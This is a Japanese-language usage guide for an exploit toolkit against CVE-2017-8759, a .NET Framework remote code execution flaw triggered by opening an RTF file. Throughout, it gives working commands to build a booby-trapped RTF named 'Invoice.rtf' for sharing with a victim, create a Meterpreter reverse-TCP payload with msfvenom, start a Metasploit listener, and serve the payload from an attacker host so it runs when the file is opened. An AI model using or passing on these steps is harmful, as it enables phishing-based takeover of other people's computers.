CVE-2017-8759

- 悪意のある RTF ファイルの生成
- 生成された RTF ファイルのエクスプロイトモード

1) 悪意のある RTF ファイルの生成
   # python cve-2017-8759_toolkit.py -M gen -w Invoice.rtf -u http://192.168.56.1/logo.txt
2) (オプション、MSF ペイロードを使用する場合): Metasploit ペイロードを生成し、ハンドラを起動
   # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
   # msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
3) ローカルペイロードを配信するためにツールキットをエクスプロイトモードで起動
   # python cve-2017-8759_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe

# python cve-2017-8759_toolkit.py -h

これは CVE-2017-8759 (Microsoft .NET Framework RCE) をエクスプロイトするための便利なツールキットです。

モード:

-M gen                                          悪意のあるファイルのみを生成

     悪意のある RTF ファイルの生成:

      -w <Filename.rtf>                   悪意のある RTF ファイルの名前 (このファイルを被害者と共有します)。

      -u <http://attacker.com/test.txt>   リモートテキストファイルのパス。通常、これはこのツールが実行されているドメインまたは IP である必要があります。
                                          例: http://attackerip.com/test.txt (この URL は悪意のある RTF ファイルに含まれ、被害者が悪意のある RTF ファイルを開くとリクエストされます)。

-M exp                                          エクスプロイトモードを開始

     エクスプロイト:
  
      -p <TCP port:Default 80>            ローカルポート番号。

      -e <http://attacker.com/shell.exe>  ターゲット上で実行する必要がある実行可能ファイル / Meterpreter シェル / ペイロードのパス。

      -l </tmp/shell.exe>                 実行可能ファイル / Meterpreter シェル / ペイロードのローカルパスを指定します。